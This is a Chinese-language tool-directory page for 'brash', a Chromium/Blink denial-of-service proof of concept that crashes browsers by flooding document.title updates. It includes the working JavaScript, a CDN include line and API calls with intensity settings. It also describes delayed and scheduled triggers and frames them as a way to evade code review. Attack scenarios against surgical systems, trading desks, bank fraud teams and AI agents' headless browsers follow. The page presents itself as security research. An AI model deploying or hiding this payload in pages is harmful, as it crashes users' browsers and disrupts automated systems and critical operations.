Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
brash — 通过 document.title 利用的 Chromium 浏览器拒绝服务攻击 | Kitploit
工具/GitHubGitHub/jofpin/brash
漏洞利用框架漏洞分析Web应用程序漏洞利用渗透测试
GitHubjofpin/brash

brash

通过 document.title 利用的 Chromium 浏览器拒绝服务攻击

查看仓库网站
18061511个月前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Brash

Brash by Jose Pino

通过 document.title 利用的 Chromium 浏览器拒绝服务攻击

Brash 是 Blink(谷歌 Chromium 浏览器的渲染引擎)中的一个严重漏洞。它利用某些 DOM 操作管理方式的架构缺陷,使任何 Chromium 浏览器在 15-60 秒内崩溃。

攻击向量 源于 document.title API 更新完全没有速率限制。这允许每秒注入 数百万次 DOM 突变,在此注入尝试期间,它会占满主线程,扰乱事件循环并导致界面崩溃。影响显著:消耗高 CPU 资源,降低整体系统性能,并且可以 暂停或减慢 同时运行的其他进程。通过影响桌面、Android 和嵌入式环境中的 Chromium 浏览器,该漏洞使互联网上超过 30 亿人 面临系统级拒绝服务的风险。

状态: 可操作
受影响版本: Chromium ≤ 143.0.7483.0(测试版本:138.0.7204.251、141.0.7390.108、143.0.7483.0)

[!NOTE] 该漏洞目前可被利用。一旦漏洞被修补,此代码将不再生效。无论如何,发现这一架构缺陷并完成整个研究、文档和设计过程,与全世界分享一些有影响力的东西,是一段非常有价值的旅程。

测试

在 macOS、Windows 和 Linux 上测试了 11 个主流浏览器,以验证漏洞的影响。

受影响(Chromium/Blink)

所有基于 Chromium 的浏览器都受影响,因为该漏洞存在于 Blink 渲染引擎的核心:

  • Chrome — 15-30 秒内崩溃
  • Edge — 15-25 秒内崩溃
  • Vivaldi — 15-30 秒内崩溃
  • Arc Browser — 15-30 秒内崩溃
  • Dia Browser — 15-30 秒内崩溃
  • Opera — 约 60 秒内崩溃
  • Perplexity Comet — 15-35 秒内崩溃
  • ChatGPT Atlas — 15-60 秒内崩溃
  • Brave — 30-125 秒内崩溃

不受影响(使用其他引擎)

  • Firefox(Gecko 引擎)— 对此攻击免疫
  • Safari(WebKit 引擎)— 对此攻击免疫
  • iOS 浏览器(全部使用 WebKit)— 由于苹果强制要求所有 iOS 浏览器使用 WebKit 作为渲染引擎的政策,基于 Chromium 的浏览器无法在 iOS 上运行,因此对此攻击免疫

工作原理

Brash 利用了 Blink 渲染引擎中的一个基本架构缺陷:document.title 更新缺乏节流机制。攻击分为三个关键阶段:

1. 哈希生成(准备阶段)

生成 100 个唯一的 512 字符十六进制字符串,并在攻击开始前将其存储在内存中。

为什么要预加载而不是实时生成?

因为不断生成新字符串会消耗 CPU 时间进行数学运算。这些时间非常关键——每花一毫秒生成字符串,就意味着少了一毫秒用来用 document.title 更新轰炸浏览器。

通过预加载 100 个字符串到内存中:

  • 攻击更快:无需暂停生成字符串
  • CPU 专注:100% 的资源用于饱和浏览器
  • 减少系统暂停:防止垃圾回收器频繁激活
  • 避免检测:100 个不同的字符串阻止浏览器缓存或优化更新

结果,我们实现了最大注入速度,同时每次更新消耗最大内存。

// 生成高熵唯一 ID
gid: function() {
    let id = "";
    for (let i = 0x0; i < 0x200; i++) {
        id += ((Math.random() * 0x10) | 0x0).toString(0x10);
    }
    return id;
}

2. 脉冲注入(攻击阶段)

执行可配置的 title 更新脉冲。在默认配置下(burst: 8000,interval: 1ms),尝试每秒注入大约 2400 万次更新,浏览器正是在此尝试过程中开始崩溃。

// 三重更新模式:最大化渲染管线冲击
inject: function() {
    const t = this.titles[Math.random() * this.titles.length | 0x0];
    for (let i = 0x0; i < 0x3; i++) {
        document.title = t + i;  // 每个脉冲执行 3 次连续更新
    }
    this.counter += 0x3;
}

3. UI 线程饱和(崩溃阶段)

持续更新使浏览器的主线程饱和,阻止处理其他事件:

崩溃时间线:

  • 0-5 秒:UI 线程初始饱和,极端 CPU 消耗
  • 5-10 秒:标签页完全冻结,无法关闭
  • 10-15 秒:浏览器崩溃或显示“页面无响应”对话框
  • 15-60 秒:需要强制终止(基于 Chromium 的浏览器)

为什么有效?

Blink 在主线程上同步处理每次 document.title 更改,没有速率限制。这造成了一个瓶颈,会:

  • 阻塞事件循环
  • 阻止用户输入处理
  • 用长字符串饱和内存
  • 扰乱合成器和渲染管线
  • 导致浏览器进程震荡

演示与 PoC

为了完全理解 Brash 的影响,您可以在不同环境中体验该漏洞,从受控的实时演示到您自己的实现。每个选项都为不同级别的交互和技术理解而设计。

1. 实时演示

查看 Brash 行动最快的方式。访问 https://brash.run

要查看没有图形界面的漏洞,请访问 **https://brash.run/hidden-live-demo.html**。此版本在后台不可见地执行注入,模拟真实攻击。

2. 本地演示

如果您更喜欢在自己的环境中运行演示,存储库中的 exploit-demo/ 目录允许您:

  • 实时调整攻击强度的控件
  • 每秒更新次数的可视化计数器
  • 三种预定义模式:温和、激进、极端
  • 观察浏览器的逐步崩溃

只需在任何 Chromium 浏览器中打开 exploit-demo/index.html,并在启动前配置 burst 和 interval 值。

  • burstSize:每次间隔的 title 更改次数(值越大越激进)
  • interval:两次脉冲之间的毫秒数(值越小越激进)

3. 实现您自己的 PoC

要将 Brash 集成到您自己的安全测试或研究中,请包含脚本并配置攻击:

包含脚本:

<!-- 本地 -->
<script src="brash.js"></script>

<!-- CDN -->
<script src="https://cdn.jsdelivr.net/gh/jofpin/brash/brash.js"></script>

API 用法:

// 1. 立即攻击
Brash.run({
    burstSize: 8000,
    interval: 1
});

// 2. 延迟(秒,默认)
Brash.run({
    burstSize: 8000,
    interval: 1,
    delay: 30  // 30 秒
});

// 3. 延迟(字符串)
Brash.run({
    burstSize: 8000,
    interval: 1,
    delay: "30s"  // 或 "5000ms" 或 "3m"
});

// 4. 定时攻击
Brash.run({
    burstSize: 8000,
    interval: 1,
    scheduled: "2025-10-18T09:30:00"
});

强度配置:

// 温和:受控观察
// 效果:浏览器响应缓慢,可观察逐步退化
Brash.run({ 
    burstSize: 200,
    interval: 1000 // 约 600 次更新/秒
});

// 激进:快速饱和
// 效果:标签页在 10-20 秒内冻结
Brash.run({ 
    burstSize: 2000, 
    interval: 100 // 约 60,000 次更新/秒
});

// 极端:立即崩溃
// 效果:立即冻结,15-30 秒内完全崩溃
Brash.run({ 
    burstSize: 8000,
    interval: 1 // 尝试约 2400 万次更新/秒(浏览器在尝试过程中崩溃)
});

注意:每个脉冲执行 3 次连续的 document.title 更新。例如,burstSize: 400 = 每次间隔实际 1,200 次更新。

攻击场景

Brash 可以在多个关键环境中被武器化,后果从经济损失到生命危险不等。

延时攻击:战略时机

放大 Brash 危险性的一个关键特性是它可以被编程为在特定时刻执行。攻击者可以注入带有 时间触发器 的代码,保持休眠直到预定的确切时间。

技术实现:

// 延迟(秒,默认)
Brash.run({ burstSize: 8000, interval: 1, delay: 30 });

// 延迟(字符串:ms、s、m)
Brash.run({ burstSize: 8000, interval: 1, delay: "30s" });
Brash.run({ burstSize: 8000, interval: 1, delay: "5000ms" });

// 定时:在精确时刻执行
Brash.run({ burstSize: 8000, interval: 1, scheduled: "2025-10-18T09:30:00" });

参数:

  • burstSize:每个周期的更新次数
  • interval:周期之间的毫秒数
  • delay:数字(秒)或字符串("30s"、"5000ms"、"3m")
  • scheduled:ISO 字符串或 Date 对象

为什么 delay 参数特别致命:

  1. 无需知道受害者何时打开链接:只需在受害者打开页面后等待 X 秒。

  2. 建立信任的时间:在等待的几分钟内,受害者在看似合法的内容(表单、文档、视频)中交互。

  3. 逃避初始检查:如果某人快速审查代码,看起来是未激活的。攻击直到后来才执行。

  4. 完美的心理时机:等待受害者深入参与任务时(考试中途、会议中途、关键程序进行中)。

delay 的典型场景:

00:00 - 受害者打开链接“Q4 Documents.pdf”
00:30 - 受害者审查文档,看似合法
02:00 - 受害者在有 50 人的会议中共享屏幕
03:00 - 攻击执行 - 所有浏览器崩溃

为什么 scheduled 参数同样具有破坏性:

  1. 外科手术般的同步:攻击者选择最大影响的确切时刻(市场开盘、运营高峰时间)。

  2. 全球协调攻击:多个目标可以在同一秒内同时被击中。

  3. 逃避事先检测:恶意代码可以在执行前数天或数周就存在,通过安全审查。

  4. 无法阻止:到攻击执行时,已经来不及阻止。

战略时机示例:

  • 美国东部时间上午 9:30 — 华尔街开盘(最大交易波动)
  • 凌晨 3:00 — 医院换班(最少人员、最大漏洞)
  • 中午 12:00 — 空中交通高峰时间(最大同时航班数)
  • 黑色星期五午夜 00:00 — 在线销售开始(最大电商流量)
  • 直播活动期间 — 总统辩论、超级碗、大型体育赛事

这种 动态时机 能力将 Brash 从干扰工具转变为 时间精确武器,攻击者不仅控制“什么”和“哪里”,还以毫秒精度控制 “何时”。


AI 代理投毒:自动化系统

场景:依赖 AI 代理进行网页爬取、市场分析、竞品监控或客户服务自动化的企业系统,使用无头浏览器(Chromium/Puppeteer)每天查询成千上万的网站。攻击者将 Brash 注入这些代理查询的流行网站。

在关键自动化操作过程中:

  • 一个 AI 代理查询一个受感染的金融新闻网站进行市场分析
  • Brash 在代理的无头浏览器中静默执行
  • 浏览器进程崩溃,停止整个分析流程
  • 下游等待代理数据的系统超时
  • 自动化交易/定价决策被阻止
  • 监控系统检测到多个代理同时出现大规模故障
  • 需要手动干预重启整个代理基础设施

放大攻击向量:

  • AI 研究助手:为公司搜索和处理网页信息的代理
  • 价格监控机器人:跟踪竞品价格的电商系统
  • SEO 分析工具:爬取数百万页面进行分析的服务
  • AI 驱动的客户支持:实时查询网页文档的聊天机器人
  • 自动化合规扫描:监控网站的监管系统

真实影响:关键自动化操作瘫痪、未做决策导致的经济损失、AI 依赖服务的严重退化、基础设施恢复成本、对自动化代理关键依赖性的暴露。

外科手术中断:危及生命

场景:一位心血管外科医生正在进行冠状动脉搭桥手术,由一个基于 Web 的手术导航系统(在微创手术中越来越常见)辅助。该系统提供实时图像、患者生命体征指标和机器人器械的引导。

在手术最关键的阶段,浏览器出现通知:“警报:关键手术系统更新 - 立即应用,否则手术可能失败。”

在恐慌中点击后:

  • 浏览器与手术导航系统一起立即崩溃
  • 外科医生失去引导图像的显示 3-5 分钟
  • 屏幕上的实时生命体征消失
  • 医疗团队在重启系统时不得不临时应对
  • 患者在崩溃窗口期间处于危险状态

真实影响:患者直接死亡风险、永久性损伤可能、医疗团队心理创伤、因技术疏忽引发的百万美元诉讼。

股市闪电崩盘

场景:在华尔街市场开盘时,恶意行为者通过多个渠道同时注入 Brash:彭博终端 Web 界面、机构交易员聊天、专业论坛。链接承诺“泄露:美联储紧急会议纪要 - 降息确认。”

交易开始的前 30 秒(最大流动性):

  • 200 多名机构交易员同时点击
  • 他们的 Web 终端在即将下达百万美元订单时崩溃
  • 自动化交易算法检测到活动的突然下降视为“崩盘”
  • 触发大规模自动卖出
  • 市场在 90 秒内下跌 5-7%,直到熔断机制启动
  • 数百万散户投资者损失储蓄

真实影响:数万亿美元市值损失、全球金融恐慌、SEC 调查、市场信心危机。

银行系统:实时欺诈预防

场景:银行欺诈分析师通过 Web 仪表板实时处理可疑交易警报。在黑色星期五(交易高峰期),他们通过企业邮件收到 Brash:“检测到新欺诈模式 - 需要紧急分析。”

在交易量最高的时刻:

  • 20 多名分析师同时打开链接
  • 欺诈检测仪表板崩溃
  • 15-20 分钟的交易未审核
  • 攻击者利用窗口处理数千笔被盗交易
  • 200-500 万美元的欺诈未被检测到
  • 自动化系统配置为:如果分析师未响应,则允许交易

真实影响:数百万美元直接损失、数千客户遭遇欺诈扣款、巨大声誉损害、因预防系统失效的监管罚款。


这些场景并非理论。Brash 的简单性使其成为对任何依赖 Web 浏览器的操作的真实威胁,而在 2025 年,这几乎意味着一切。

最后的话

Brash 的创建是为了展示当我们日常使用的 Web 技术中缺乏基本保护时会发生什么。漏洞不在于复杂的代码或高级技术,而在于一个本应设计成有节流的 API 根本上缺少速率限制。

Brash 对超过 30 亿 Chromium 浏览器用户的影响表明,Blink 等核心组件的架构缺陷会带来巨大的全球性后果。这不是一个孤立的 bug——这是一个影响整个 Chromium 生态系统的设计缺陷。

最危险的东西常常隐藏在最不被注意、最被忽视的地方。 - Jose Pino

免责声明

本 PoC 仅用于教育和安全研究目的,以帮助使互联网更安全。其执行应仅在受控环境中进行,不得用于生产系统、公共网站或包含重要数据的设备上。

滥用此漏洞可能导致浏览器崩溃、数据丢失和系统不稳定。作者不对因使用或滥用本 PoC 而产生的任何损害、数据丢失或法律后果负责。使用 Brash 即表示您已理解这些风险,并同意仅在隔离环境中用于合法的安全研究。

用户应遵守所有适用的法律法规。在非您拥有或未经明确许可测试的系统上未经授权使用此漏洞是违法且不道德的。

许可证

本项目的本身内容根据 Creative Commons Attribution 3.0 license 许可,用于格式化和显示内容的底层源代码根据 MIT license 许可。

版权所有 (c) 2025,作者 Jose Pino

下载工具